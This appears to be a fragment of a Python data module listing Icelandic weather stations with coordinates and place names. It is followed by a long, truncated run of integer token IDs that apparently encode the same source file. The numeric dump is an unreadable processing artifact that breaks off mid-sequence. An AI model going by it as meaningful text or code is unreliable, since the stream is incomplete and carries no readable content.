"Fagridalur"}, {"id": 34081, "lat": 65.1682, "lon": -14.339, "name": "<NAME>"}, {"id": 34087, "lat": 65.0637, "lon": -13.9187, "name": "Oddsskarð"}, {"id": 34148, "lat": 65.3019, "lon": -15.2237, "name": "Jökuldalur"}, {"id": 34175, "lat": 65.2661, "lon": -14.259, "name": "Fjarðarheiði"}, {"id": 34238, "lat": 65.457, "lon": -15.5855, "name": "<NAME>"}, {"id": 34326, "lat": 65.5583, "lon": -16.0113, "name": "Biskupsháls"}, {"id": 34348, "lat": 65.5947, "lon": -15.3158, "name": "Vopnafjarðarheiði"}, {"id": 34382, "lat": 65.5623, "lon": -13.9897, "name": "<NAME>"}, {"id": 34413, "lat": 65.6576, "lon": -16.5006, "name": "Mývatnsöræfi"}, {"id": 34450, "lat": 65.6571, "lon": -15.1652, "name": "Hauksstaðir"}, {"id": 34559, "lat": 65.8914, "lon": -14.8253, "name": "Sandvíkurheiði"}, {"id": 34700, "lat": 66.1487, "lon": -16.9752, "name": "<NAME>"}, {"id": 34732, "lat": 66.2984, "lon": -15.8933, "name": "Hófaskarð"}, {"id": 34733, "lat": 66.2532, "lon": -15.8161, "name": "Hálsar"}, {"id": 35116, "lat": 64.1848, "lon": -15.8145, "name": "Borgarhöfn"}, {"id": 35305, "lat": 63.9387, "lon": -16.7959, "name": "Öræfi"}, {"id": 35315, "lat": 63.9596, "lon": -16.4244, "name": "<NAME>"}, {"id": 35666, "lat": 64.4074, "lon": -14.5393, "name": "Hvalnes"}, {"id": 35769, "lat": 64.6558, "lon": -14.4527, "name": "Hamarsfjörður"}, {"id": 35880, "lat": 64.7199, "lon": -14.0363, "name": "Streiti"}, {"id": 35884, "lat": 64.7981, "lon": -13.8901, "name": "Kambaskriður"}, {"id": 35963, "lat": 64.8257, "lon": -14.6573, "name": "Öxi"}, {"id": 35965, "lat": 64.9068, "lon": -14.6034, "name": "Breiðdalsheiði"}, {"id": 35985, "lat": 64.8956, "lon": -13.8547, "name": "Víkurgerði"}, {"id": 36049, "lat": 63.4521, "lon": -19.0378, "name": "Reynisfjall"}, {"id": 36122, "lat": 63.6216, "lon": -20.0285, "name": "Markarfljót"}, {"id": 36127, "lat": 63.5784, "lon": -19.9016, "name": "Hvammur"}, {"id": 36132, "lat": 63.5429, "lon": -19.6906, "name": "Steinar"}, {"id": 36156, "lat": 63.4661, "lon": -18.6044, "name": "Mýrdalssandur"}, {"id": 36270, "lat": 63.7338, "lon": -18.1977, "name": "Eldhraun"}, {"id": 36308, "lat": 63.9306, "lon": -20.6653, "name": "Þjórsárbrú"}, {"id": 36386, "lat": 63.9575, "lon": -17.555, "name": "Lómagnúpur"}, {"id": 36391, "lat": 63.9362, "lon": -17.3503, "name": "Gígjukvísl"}, {"id": 36411, "lat": 64.1323, "lon": -20.5308, "name": "Skálholt"}, {"id": 36415, "lat": 64.1575, "lon": -20.3675, "name": "Bræðratunguvegur"}, {"id": 36504, "lat": 64.2018, "lon": -20.8062, "name": "Lyngdalsheiði"}, {"id": 36519, "lat": 64.3077, "lon": -20.2119, "name": "Gullfoss"}, ]
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 15945, 29908, 13, 13, 1678, 14890, 705, 1624, 29901, 7419, 701, 2472, 1048, 306, 2242, 392, 293, 14826, 313, 26739, 800, 29892, 29821, 19416, 29892, 13, 1678, 5199, 19909, 29037, 573, 26442, 29892, 2992, 1846, 773, 11016, 332, 29889, 275, 4903, 705, 1624, 3450, 29889, 13, 13, 1678, 14187, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29929, 29899, 29906, 29900, 29906, 29896, 529, 5813, 15513, 13, 1678, 8533, 4148, 29901, 529, 5813, 29958, 13, 13, 1678, 350, 7230, 29871, 29941, 29899, 16398, 1509, 19245, 313, 4149, 19245, 29889, 3945, 467, 13, 13, 15945, 29908, 13, 13, 3166, 19229, 1053, 2391, 29892, 360, 919, 13, 13, 1254, 8098, 29903, 29901, 2391, 29961, 21533, 29962, 353, 518, 13, 1678, 8853, 333, 1115, 29871, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29906, 29955, 29945, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29929, 29900, 29906, 29947, 29892, 376, 978, 1115, 376, 29934, 1032, 29895, 9494, 23576, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29955, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29955, 29946, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29955, 29941, 29941, 29929, 29892, 376, 978, 1115, 376, 855, 29891, 6859, 728, 5471, 29885, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29929, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29906, 29929, 29955, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29955, 29945, 29946, 29941, 29892, 376, 978, 1115, 376, 30102, 5311, 279, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29941, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29947, 29953, 29955, 29929, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29945, 29953, 29946, 29896, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29929, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29906, 29896, 29941, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29946, 29906, 29945, 29892, 376, 978, 1115, 376, 29931, 277, 433, 29899, 30102, 9584, 29895, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29900, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29947, 29945, 29906, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29929, 29945, 29941, 29946, 29892, 376, 978, 1115, 376, 29903, 585, 30189, 17297, 29894, 4812, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29906, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29947, 29945, 29953, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29896, 29900, 29900, 29906, 29892, 376, 978, 1115, 376, 29909, 29895, 545, 29891, 374, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29929, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29946, 29906, 29941, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29896, 29906, 29900, 29947, 29892, 376, 978, 1115, 376, 3338, 29983, 1516, 5173, 30189, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29896, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29953, 29945, 29929, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29900, 29955, 29929, 29906, 29892, 376, 978, 1115, 376, 29924, 29875, 30189, 29888, 4758, 30189, 2753, 267, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29906, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29900, 29906, 29955, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29947, 29906, 29896, 29896, 29892, 376, 978, 1115, 376, 15797, 29926, 2741, 30340, 886, 5173, 30189, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29955, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29947, 29941, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29946, 29900, 29906, 29945, 29892, 376, 978, 1115, 376, 29923, 29887, 2719, 5173, 30189, 29874, 24545, 29894, 22232, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29906, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29953, 29947, 29906, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29945, 29955, 29945, 29929, 29892, 376, 978, 1115, 376, 29928, 284, 271, 574, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29947, 29900, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29946, 29906, 29941, 29953, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29896, 29947, 29941, 29892, 376, 978, 1115, 376, 29963, 271, 1983, 808, 279, 30189, 845, 29980, 4675, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29941, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29945, 29900, 29946, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29941, 29941, 29900, 29929, 29892, 376, 978, 1115, 376, 29950, 4758, 30189, 279, 1049, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29929, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29955, 29946, 29955, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29945, 29947, 29955, 29953, 29892, 376, 978, 1115, 376, 29968, 1389, 4112, 23576, 332, 24545, 29894, 22232, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29941, 29945, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29947, 29906, 29929, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29953, 29900, 29900, 29945, 29892, 376, 978, 1115, 376, 29968, 1389, 4112, 23576, 332, 24545, 29894, 22232, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29941, 29953, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29947, 29946, 29941, 29947, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29946, 29896, 29955, 29892, 376, 978, 1115, 376, 3338, 513, 485, 23576, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29941, 29929, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29947, 29953, 29929, 29906, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29896, 29953, 29900, 29906, 29892, 376, 978, 1115, 376, 29923, 4316, 279, 29890, 557, 1984, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29945, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29947, 29896, 29955, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29953, 29947, 29929, 29941, 29892, 376, 978, 1115, 376, 29954, 279, 30189, 808, 351, 485, 4812, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29955, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29945, 29946, 29945, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29900, 29941, 29906, 29945, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29955, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29946, 29941, 29947, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29900, 29946, 29900, 29946, 29892, 376, 978, 1115, 376, 855, 19527, 4501, 23576, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29955, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29955, 29896, 29906, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29929, 29896, 29900, 29955, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 396, 8853, 333, 1115, 29871, 29896, 29946, 29955, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29906, 29955, 29945, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29929, 29900, 29906, 29892, 376, 978, 1115, 376, 29934, 1032, 29895, 9494, 23576, 10758, 13, 1678, 396, 8853, 333, 1115, 29871, 29896, 29946, 29955, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29906, 29947, 29946, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29929, 29946, 29900, 29955, 29892, 376, 978, 1115, 376, 29934, 1032, 29895, 9494, 23576, 332, 24545, 29894, 22232, 332, 10758, 13, 1678, 396, 8853, 333, 1115, 29871, 29896, 29946, 29955, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29906, 29929, 29906, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29947, 29941, 29929, 29906, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29955, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29945, 29900, 29945, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29955, 29945, 29896, 29896, 29892, 376, 978, 1115, 376, 29968, 272, 3274, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29947, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29953, 29955, 29947, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29947, 29900, 29941, 29947, 29892, 376, 978, 1115, 376, 29954, 2495, 292, 17297, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29947, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29900, 29947, 29945, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29953, 29947, 29953, 29946, 29892, 376, 978, 1115, 376, 29950, 5471, 1516, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29947, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29900, 29941, 29945, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29955, 29929, 29955, 29896, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29947, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29953, 29929, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29953, 29953, 29953, 29896, 29892, 376, 978, 1115, 376, 10358, 29976, 29888, 12382, 645, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29947, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29947, 29941, 29896, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29953, 29946, 29929, 29955, 29892, 376, 978, 1115, 376, 10358, 29976, 29888, 29926, 497, 1278, 29976, 492, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29929, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29941, 29941, 29941, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29941, 29953, 29953, 29945, 29892, 376, 978, 1115, 376, 29950, 514, 790, 5689, 30189, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29929, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29945, 29945, 29941, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29906, 29945, 29941, 29906, 29892, 376, 978, 1115, 376, 30094, 29880, 10265, 700, 29882, 2464, 29879, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29946, 29929, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29945, 29953, 29955, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29941, 29946, 29953, 29929, 29892, 376, 978, 1115, 376, 29903, 5689, 30189, 3844, 30052, 13678, 29888, 29926, 497, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29945, 29955, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29941, 29896, 29947, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29947, 29900, 29946, 29953, 29892, 376, 978, 1115, 376, 15797, 336, 2806, 29980, 4675, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29945, 29929, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29946, 29900, 29945, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29946, 29953, 29941, 29941, 29892, 376, 978, 1115, 376, 15797, 29976, 433, 29888, 514, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29945, 29929, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29947, 29900, 29955, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29900, 29947, 29955, 29945, 29892, 376, 978, 1115, 376, 30452, 292, 29894, 514, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29953, 29955, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29946, 29953, 29946, 29955, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29929, 29953, 29906, 29947, 29892, 376, 978, 1115, 376, 29950, 2142, 29876, 2817, 295, 279, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29953, 29955, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29946, 29929, 29900, 29906, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29955, 29953, 29906, 29896, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29953, 29947, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29941, 29947, 29955, 29955, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29946, 29896, 29953, 29929, 29892, 376, 978, 1115, 376, 30452, 4316, 453, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29953, 29947, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29946, 29945, 29906, 29929, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29946, 29900, 29941, 29946, 29892, 376, 978, 1115, 376, 29933, 327, 1983, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29955, 29955, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29945, 29953, 29906, 29906, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29955, 29953, 29946, 29929, 29892, 376, 978, 1115, 376, 29950, 3703, 3801, 374, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29955, 29947, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29953, 29946, 29941, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29945, 29947, 29929, 29941, 29892, 376, 978, 1115, 376, 855, 2142, 5391, 29873, 7759, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29947, 29953, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29953, 29929, 29946, 29941, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29896, 29946, 29955, 29941, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29947, 29947, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29955, 29906, 29953, 29947, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29953, 29906, 29929, 29955, 29892, 376, 978, 1115, 376, 29931, 277, 433, 29899, 29903, 5689, 30189, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29929, 29896, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29900, 29946, 29896, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29929, 29941, 29946, 29953, 29892, 376, 978, 1115, 376, 29954, 1137, 17400, 2464, 279, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29929, 29906, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29929, 29945, 29955, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29955, 29896, 29953, 29906, 29892, 376, 978, 1115, 376, 30178, 433, 29888, 4501, 23576, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29929, 29941, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29941, 29929, 29941, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29941, 29900, 29896, 29906, 29892, 376, 978, 1115, 376, 10358, 29976, 10612, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29896, 29929, 29941, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29906, 29896, 29941, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29906, 29945, 29896, 29941, 29892, 376, 978, 1115, 376, 29954, 29160, 29293, 24900, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29900, 29945, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29955, 29896, 29955, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29955, 29941, 29906, 29946, 29892, 376, 978, 1115, 376, 855, 29891, 6859, 728, 5471, 29885, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29896, 29955, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29906, 29929, 29955, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29955, 29945, 29946, 29941, 29892, 376, 978, 1115, 376, 30102, 5311, 279, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29896, 29929, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29945, 29946, 29941, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29900, 29929, 29955, 29947, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29906, 29953, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29946, 29941, 29955, 29955, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29906, 29900, 29945, 29953, 29892, 376, 978, 1115, 376, 29934, 1032, 15339, 29980, 4675, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29941, 29900, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29900, 29906, 29929, 29892, 376, 12957, 1115, 448, 29906, 29946, 29889, 29945, 29941, 29896, 29906, 29892, 376, 978, 1115, 376, 29933, 29926, 1191, 29873, 574, 279, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29941, 29896, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29946, 29929, 29906, 29946, 29892, 376, 12957, 1115, 448, 29906, 29946, 29889, 29900, 29929, 29906, 29945, 29892, 376, 978, 1115, 376, 29931, 1117, 485, 271, 29876, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29941, 29896, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29929, 29945, 29896, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29929, 29955, 29946, 29947, 29892, 376, 978, 1115, 376, 29925, 6064, 2039, 29888, 24900, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29941, 29906, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29906, 29955, 29953, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29947, 29941, 29900, 29906, 29892, 376, 978, 1115, 376, 29911, 2464, 29895, 1056, 29888, 24900, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29941, 29955, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29945, 29906, 29947, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29947, 29906, 29945, 29955, 29892, 376, 978, 1115, 376, 1433, 29876, 29895, 271, 433, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29946, 29906, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29955, 29929, 29946, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29953, 29896, 29906, 29906, 29892, 376, 978, 1115, 376, 29933, 29983, 430, 566, 284, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29946, 29947, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29906, 29947, 29946, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29945, 29955, 29896, 29947, 29892, 376, 978, 1115, 376, 29933, 29926, 2753, 29293, 4758, 30189, 279, 29882, 2464, 29879, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29946, 29947, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29947, 29955, 29941, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29953, 29947, 29896, 29941, 29892, 376, 978, 1115, 376, 29950, 5471, 29885, 485, 23576, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29945, 29941, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29947, 29953, 29947, 29953, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29945, 29945, 29955, 29947, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29953, 29941, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29945, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29945, 29896, 29892, 376, 978, 1115, 376, 8754, 403, 29891, 374, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29953, 29941, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29946, 29946, 29946, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29941, 29900, 29955, 29946, 29892, 376, 978, 1115, 376, 30452, 369, 29888, 29926, 497, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29953, 29946, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29955, 29953, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29896, 29929, 29947, 29955, 29892, 376, 978, 1115, 376, 29903, 295, 12429, 4167, 12293, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29953, 29946, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29953, 29947, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29906, 29896, 29900, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29953, 29946, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29945, 29929, 29953, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29896, 29953, 29929, 29929, 29892, 376, 978, 1115, 376, 30175, 29879, 2142, 24900, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29953, 29946, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29900, 29953, 29953, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29896, 29900, 29929, 29896, 29892, 376, 978, 1115, 376, 29950, 2213, 29888, 4928, 284, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29953, 29946, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29946, 29906, 29953, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29929, 29947, 29953, 29892, 376, 978, 1115, 376, 29903, 30030, 30189, 485, 23576, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29953, 29945, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29900, 29900, 29953, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29953, 29945, 29929, 29946, 29892, 376, 978, 1115, 376, 30232, 30189, 1032, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29953, 29929, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29929, 29929, 29945, 29896, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29941, 29941, 29900, 29946, 29892, 376, 978, 1115, 376, 29954, 29926, 6922, 332, 24545, 29894, 22232, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29955, 29941, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29953, 29896, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29906, 29945, 29941, 29947, 29892, 376, 978, 1115, 376, 29933, 324, 686, 279, 9584, 29895, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29947, 29953, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29946, 29896, 29900, 29955, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29941, 29955, 29947, 29929, 29892, 376, 978, 1115, 376, 29950, 1398, 29890, 29926, 1191, 4501, 4812, 10758, 13, 1678, 8853, 333, 1115, 29871, 29906, 29929, 29946, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29946, 29941, 29941, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29896, 29941, 29941, 29892, 376, 978, 1115, 376, 855, 336, 1227, 267, 29894, 4812, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29900, 29900, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29896, 29906, 29941, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29953, 29929, 29953, 29896, 29892, 376, 978, 1115, 376, 29909, 504, 332, 3054, 12293, 845, 2464, 29879, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29900, 29945, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29953, 29906, 29947, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29947, 29941, 29947, 29941, 29892, 376, 978, 1115, 376, 29903, 